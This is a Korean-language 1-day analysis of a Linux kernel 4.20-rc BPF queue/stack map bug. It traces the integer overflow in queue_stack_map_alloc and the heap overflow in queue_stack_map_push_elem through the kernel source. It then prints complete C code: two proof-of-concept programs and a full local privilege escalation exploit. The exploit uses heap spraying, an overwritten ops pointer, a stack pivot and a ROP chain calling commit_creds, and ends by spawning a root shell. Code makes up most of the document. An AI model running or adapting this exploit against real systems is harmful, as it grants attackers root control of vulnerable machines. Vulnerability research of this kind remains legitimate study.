[1-day Analysis] Linux Kernel 4.20 BPF vulnerability analysis ( Integer Overflow & Heap Overflow )
리눅스 커널의 BPF 모듈에서 발생하는 권한 상승까지 이어지는 integer overflow & heap overflow 취약점이다.
리눅스 커널 v4.20-rc1, v4.20-rc2, v4.20-rc3, v4.20-rc4 버전에서 취약점을 트리거 할 수 있다.
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr;
int err;
if (sysctl_unprivileged_bpf_disabled && !bpf_capable())
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
memset(&attr, 0, sizeof(attr));
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
case BPF_MAP_GET_NEXT_KEY:
err = map_get_next_key(&attr);
break;
case BPF_MAP_FREEZE:
err = map_freeze(&attr);
break;
case BPF_PROG_LOAD:
err = bpf_prog_load(&attr, uattr);
break;
case BPF_OBJ_PIN:
err = bpf_obj_pin(&attr);
break;
case BPF_OBJ_GET:
err = bpf_obj_get(&attr);
break;
...
}
/kernel/bpf/syscall.c
BPF 모듈은 유저 스페이스에서 syscall로 호출 할 수 있으며, call number는 64bit 기준 321이다.
취약점은 map_create(), map_update_elem() 함수에서 발생한다.
union bpf_attr {
[A]
struct { /* anonymous struct used by BPF_MAP_CREATE command */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
__u32 map_flags; /* BPF_MAP_CREATE related
* flags defined above.
*/
__u32 inner_map_fd; /* fd pointing to the inner map */
__u32 numa_node; /* numa node (effective only if
* BPF_F_NUMA_NODE is set).
*/
char map_name[BPF_OBJ_NAME_LEN];
__u32 map_ifindex; /* ifindex of netdev to create on */
__u32 btf_fd; /* fd pointing to a BTF type data */
__u32 btf_key_type_id; /* BTF type_id of the key */
__u32 btf_value_type_id; /* BTF type_id of the value */
__u32 btf_vmlinux_value_type_id;/* BTF type_id of a kernel-
* struct stored as the
* map value
*/
};
[B]
struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
...
/include/uapi/linux/bpf.h
BPF syscall의 2번째 인자인 attr에 사용되는 공용체이다.
BPF_MAP_CREATE에 사용되는 구조체는 A로 표시한 구조체를 사용하고 BPF_MAP_*_ELEM에 사용되는 구조체는 B로 표시해둔 구조체를 사용한다.
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;
err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;
if (attr->btf_vmlinux_value_type_id) {
if (attr->map_type != BPF_MAP_TYPE_STRUCT_OPS ||
attr->btf_key_type_id || attr->btf_value_type_id)
return -EINVAL;
} else if (attr->btf_key_type_id && !attr->btf_value_type_id) {
return -EINVAL;
}
f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;
if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;
/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr); // here
if (IS_ERR(map))
return PTR_ERR(map);
err = bpf_obj_name_cpy(map->name, attr->map_name,
sizeof(attr->map_name));
/kernel/bpf/syscall.c
cmd 인자 값이 BPF_MAP_CREATE 이라면 map_create() 함수가 호출된다.
map_create() 함수에서 find_and_alloc_map() 함수를 호출한다.
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;
if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type];
if (!ops)
return ERR_PTR(-EINVAL);
if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr); // here
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}
/kernel/bpf/syscall.c
find_and_alloc_map() 함수에서 ops의 map_alloc을 참조하여 함수를 호출하고 있다.
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};
실제로 호출되는 함수는 queue_stack_map_alloc() 함수이다.
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;
size = attr->max_entries + 1; // here
value_size = attr->value_size;
queue_size = sizeof(*qs) + (u64) value_size * size; // here
cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);
cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;
ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);
qs = bpf_map_area_alloc(queue_size, numa_node); // here
if (!qs)
return ERR_PTR(-ENOMEM);
memset(qs, 0, sizeof(*qs));
bpf_map_init_from_attr(&qs->map, attr);
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
/kernel/bpf/queue_stack_maps.c
queue_stack_map_alloc() 함수에서 integer overflow가 발생한다.
attr은 유저 스페이스에서 BPF syscall 호출할 때 인자로 전달하는 공용체이며, 유저가 컨트롤하는 값이다.
size 변수는 unsigned 32bit이며 attr->max_entries 값이 0xffffffff로 전달되면 attr->max_entries + 1로 인해 size는 0이 된다.
queue_size 변수의 사이즈를 계산할 때 qs 구조체 사이즈와 value_size * size를 더한다.
여기서 size는 integer overflow로 인해 0 값이니 뭘 곱해도 0이다.
결론은 qs 구조체 사이즈 + 0이 된다.
그 후 qs에 힙을 할당할 때, qs 구조체 크기만큼 할당된다.
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size;
char elements[0] __aligned(8);
};
bpf_queue_stack 구조체는 위와 같다.
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */
/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
struct bpf_queue_stack 구조체의 첫번째 멤버인 bpf_map 구조체이다.
여기서 중요하게 봐야할건 bpf_map의 첫번째 멤버인 struct bpf_map_ops 구조체이다.
struct bpf_map_ops {
/* funcs callable from userspace (via syscall) */
int (*map_alloc_check)(union bpf_attr *attr);
struct bpf_map *(*map_alloc)(union bpf_attr *attr);
void (*map_release)(struct bpf_map *map, struct file *map_file);
void (*map_free)(struct bpf_map *map);
int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
void (*map_release_uref)(struct bpf_map *map);
/* funcs callable from userspace and from eBPF programs */
void *(*map_lookup_elem)(struct bpf_map *map, void *key);
int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
int (*map_delete_elem)(struct bpf_map *map, void *key);
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
int (*map_pop_elem)(struct bpf_map *map, void *value);
int (*map_peek_elem)(struct bpf_map *map, void *value);
/* funcs called by prog_array and perf_event_array map */
void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
int fd);
void (*map_fd_put_ptr)(void *ptr);
u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
u32 (*map_fd_sys_lookup_elem)(void *ptr);
void (*map_seq_show_elem)(struct bpf_map *map, void *key,
struct seq_file *m);
int (*map_check_btf)(const struct bpf_map *map,
const struct btf_type *key_type,
const struct btf_type *value_type);
};
struct bpf_map_ops 구조체는 생성된 맵에 대한 함수 포인터를 저장하고 있다.
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
map->map_type = attr->map_type;
map->key_size = attr->key_size;
map->value_size = attr->value_size;
map->max_entries = attr->max_entries;
map->map_flags = attr->map_flags;
map->numa_node = bpf_map_attr_numa_node(attr);
}
queue_stack_map_alloc() 함수에서 bpf_map_init_from_attr() 함수를 호출하여 map을 초기화 한다.
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd; // Used to determine the map number
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;
if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;
f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
if (!(f.file->f_mode & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}
key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;
err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); // here
if (!value)
goto free_key;
err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0) // here
goto free_value;
/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_update_elem(map, key, value, attr->flags);
goto out;
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP) {
err = map->ops->map_update_elem(map, key, value, attr->flags);
goto out;
}
/* must increment bpf_prog_active to avoid kprobe+bpf triggering from
* inside bpf map update or delete otherwise deadlocks are possible
*/
preempt_disable();
__this_cpu_inc(bpf_prog_active);
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
err = bpf_percpu_hash_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
err = bpf_percpu_array_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
err = bpf_percpu_cgroup_storage_update(map, key, value,
attr->flags);
} else if (IS_FD_ARRAY(map)) {
rcu_read_lock();
err = bpf_fd_array_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
rcu_read_lock();
err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
/* rcu_read_lock() is not needed */
err = bpf_fd_reuseport_array_update_elem(map, key, value,
attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, attr->flags); // here
} else {
rcu_read_lock();
err = map->ops->map_update_elem(map, key, value, attr->flags);
rcu_read_unlock();
}
__this_cpu_dec(bpf_prog_active);
preempt_enable();
maybe_wait_bpf_programs(map);
out:
free_value:
kfree(value);
free_key:
kfree(key);
err_put:
fdput(f);
return err;
}
/kernel/bpf/syscall.c
BPF syscall을 호출할 때 cmd 인자 값이 BPF_MAP_UPDATE_ELEM 이라면 map_update_elem() 함수가 호출된다.
kmalloc() 함수를 호출하여 value_size 만큼 value에 힙을 할당하는데 여기서 사용된 value_size는 bpf_map_init_from_attr() 함수에 의해 초기화된 attr->value_size 값이다.
즉, 유저 스페이스에서 컨트롤할 수 있는 값이다.
유저가 원하는 사이즈 만큼의 힙을 value에 할당하고, copy_from_user() 함수를 호출하여 attr->value 값을 가지는 uvalue를 kmalloc() 함수로 할당한 value에 값을 복사한다.
그 후 map->ops->map_update_elem() 함수를 호출하는데 실제로 호출되는 함수는 queue_stack_map_push_elem() 함수이다.
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;
/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);
/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;
raw_spin_lock_irqsave(&qs->lock, irq_flags);
if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}
dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size); // Overflow
if (unlikely(++qs->head >= qs->size))
qs->head = 0;
out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
/kernel/bpf/queue_stack_maps.c
queue_stack_map_push_elem() 함수는 실제로 heap overflow가 일어나는 함수이다.
memcpy() 함수를 호출하여 커널 힙에 할당된 변수 dst에 map_update_elem() 함수에서 할당한 value를
qs->map.value_size 만큼 복사한다.
여기서 value와 qs->map.value_size를 사용자가 컨트롤 할 수 있어 heap overflow가 발생한다.
// gcc -o poc poc.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>
#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
memset((void*)0x20000000, 0, 0x1000000);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17; // map_type
*(uint32_t*)0x200011c4 = 0; // key_size
*(uint32_t*)0x200011c8 = 0x40; // value_size
*(uint32_t*)0x200011cc = 0xffffffff; // max_entries
*(uint32_t*)0x200011d0 = 0; // map_flags
*(uint32_t*)0x200011d4 = -1; // inner_map_fd
res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf
}
integer overflow를 트리거 하기 위한 POC 코드이다.
kaslr을 꺼주고 커널 심볼을 이용하여 queue_stack_map_alloc() 함수의 주소를 구해주자.
queue_stack_map_alloc() 함수에 breakpoint를 걸어주고 원격으로 디버거를 붙여준 후 POC를 실행해주자.
0xffffffff811af0b0 주소를 디스어셈블해서 밑에 보면 0xffffffff811af0d7 주소에 add eax, 0x1이 보인다.
저 빨간 박스 부분이 queue_stack_map_alloc() 함수의 size = attr->max_entries + 1 부분이다.
0xffffffff811af0d7와 0xffffffff811af0da에도 breakpoint를 걸어주자.
add eax, 0x1을 실행하기 전 레지스터의 상태이다.
RAX 즉, EAX 값이 0xffffffff이다.
add eax, 0x1 연산 후 RAX 레지스터 값은 0이 되며 integer overflow가 일어났음을 알 수 있다.
//gcc -o poc poc.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>
#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2
void *fakestack;
void prepare()
{
fakestack = mmap((void*)0xa000000000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(fakestack < 0)
{
perror("[-] mmap failed\n");
}
memset(fakestack, 0, 0x8000);
*(unsigned long*)(fakestack + 0x10) = 0x4141414141414141;
}
long victim[0x10];
void spray()
{
for(int i = 0; i < 0x10; i++)
{
victim[i] = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c);
}
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
memset((void*)0x20000000, 0, 0x1000000);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17; // map_type
*(uint32_t*)0x200011c4 = 0; // key_size
*(uint32_t*)0x200011c8 = 0x40; // value_size
*(uint32_t*)0x200011cc = 0xffffffff; // max_entries
*(uint32_t*)0x200011d0 = 0; // map_flags
*(uint32_t*)0x200011d4 = -1; // inner_map_fd
prepare();
res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf
spray();
*(uint32_t*)0x200000c0 = res; // map_fd
*(uint64_t*)0x200000c8 = 0; // key
*(uint64_t*)0x200000d0 = 0x20000140; // value
*(uint64_t*)0x200000d8 = 2; // flags
uint64_t *ptr = (uint64_t*)0x20000140;
for(int i = 0; i < 8; i++)
{
ptr[i] = i + 1;
}
ptr[6] = 0xa000000000;
syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, 0x200000c0, 0x2c);
for(int i = 0; i < 0x10; i++)
{
close(victim[i]);
}
return 0;
}
위 코드는 heap overflow를 이용하여 RIP를 컨트롤하는 POC 코드이다.
heap overflow를 트리거하여 RIP를 컨트롤하는 순서는 다음과 같다.
1. mmap syscall로 메모리 매핑 후 bpf_attr를 구현한다.
2. prepare() 함수를 호출하여 fakestack을 매핑한다.
3. bpf syscall로 BPF_MAP_CREATE를 호출하여 integer overflow를 일으켜 struct bpf_queue_stack 크기인 256byte 만큼 힙을 할당한다.
4. struct bpf_queue_stack 크기인 256byte 만큼 Slab Allocator 특성을 이용하여 동일하게 256byte 만큼 16번 힙 스프레이하여 힙을 배치해준다
5. bpf_attr을 세팅 해주고 ptr의 6번째 멤버를 fakestack의 시작 주소인 0xa000000000으로 세팅 해준다.
6. bpf syscall로 BPF_MAP_UPDATE_ELEM을 호출하여 struct bpf_map의 첫번째 멤버인 ops를 fakestack으로 덮는다.
7. BPF map을 close하면 fakestack->0x4141414141414141이 호출되어 RIP를 컨트롤 할 수 있게된다.
heap overflow 전 힙의 상태이다.
첫번째로 할당된 BPF map의 주소는 0xffff88807f9cb600 두번째로 할당된 BPF map의 주소는 0xffff88807f9cb700이다.
heap overflow가 일어난 후 두번째로 할당된 BPF map이 fakestack의 주소인 0xa000000000으로 덮혀있다.
그 후 BPF map을 close하게 되면 RIP가 0x4141414141414141을 호출하게되고 커널 패닉이 발생한다.
이렇게 RIP를 임의의 값으로 컨트롤 할 수 있다.
// gcc -o exploit exploit.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>
#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2
#define COMMIT_CREDS 0xffffffff810e3ab0
#define PREPARE_KERNEL_CRED 0xffffffff810e3d40
#define pop_rax_ret 0xffffffff81029c71
#define pop_rdi_ret 0xffffffff810013b9
#define pop_rsi_ret 0xffffffff81001c50
#define swapgs 0xffffffff81c00d5a
#define iretq 0xffffffff8106d8f4
#define native_write_cr4 0xffffffff810037d5
#define stack_pivot_gadget 0xffffffff81954dc8
unsigned long user_cs, user_ss, user_rflags;
static void trap_frame()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
void get_shell()
{
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
unsigned long rop_chain[] = {
pop_rax_ret,
0x6f0,
0xffffffff81001c51, // native_write_cr4
pop_rdi_ret,
0,
PREPARE_KERNEL_CRED,
pop_rsi_ret,
pop_rdi_ret,
0xffffffff81264e0b, // push rax; push rsi; ret; 0xffffffff812646fb, push rax; push rsi; ret
COMMIT_CREDS,
swapgs,
0x246,
iretq,
(unsigned long)&get_shell,
0, // user_cs
0, // user_rflags
0, // rop_base + 0x4000
0 // user_ss
};
void *rop_base;
void *fakestack;
void prepare()
{
fakestack = mmap((void *)0xa000000000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
rop_base = mmap((void *)0x81954000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(fakestack < 0 && rop_base < 0)
{
perror("[-] mmap failed\n");
}
memset(fakestack, 0, 0x8000);
memset(rop_base, 0, 0x8000);
*(unsigned long*)(rop_base + 0xdc8) = pop_rax_ret;
*(unsigned long*)(fakestack + 0x10) = stack_pivot_gadget; // xchg eax, esp; ret;
rop_chain[12 + 2] = user_cs;
rop_chain[13 + 2] = user_rflags;
rop_chain[14 + 2] = (unsigned long)(fakestack + 0x1000);
rop_chain[15 + 2] = user_ss;
memcpy(rop_base + (0x1444 - 0x8), rop_chain, sizeof(rop_chain));
}
long victim[0x10];
void spray()
{
for(int i = 0; i < 0x10; i++)
{
victim[i] = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c);
}
}
void get_shell_again()
{
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main()
{
signal(SIGSEGV, get_shell_again);
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
memset((void*)0x20000000, 0, 0x1000000);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17; // map_type
*(uint32_t*)0x200011c4 = 0; // key_size
*(uint32_t*)0x200011c8 = 0x40; // value_size
*(uint32_t*)0x200011cc = 0xffffffff; // max_entries
*(uint32_t*)0x200011d0 = 0; // map_flags
*(uint32_t*)0x200011d4 = -1; // inner_map_fd
trap_frame();
prepare();
res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf
spray();
*(uint32_t*)0x200000c0 = res; // map_fd
*(uint64_t*)0x200000c8 = 0; // key
*(uint64_t*)0x200000d0 = 0x20000140; // value
*(uint64_t*)0x200000d8 = 2; // flags
uint64_t *ptr = (uint64_t*)0x20000140;
for(int i = 0; i < 8; i++)
{
ptr[i] = i + 1;
}
ptr[6] = 0xa000000000;
syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, 0x200000c0, 0x2c);
for(int i = 0; i < 0x10; i++)
{
close(victim[i]);
}
return 0;
}
전체적인 익스플로잇 코드이다.
POC 코드에서 봤던 0x4141414141414141 자리에 stack pivot 가젯을 넣어주면 stack pivot 가젯이 호출되며,
stack pivoting이 발생한다.
stack pivoting으로 인해 rop_chain이 실행되고 권한 상승을 하게된다.
LPE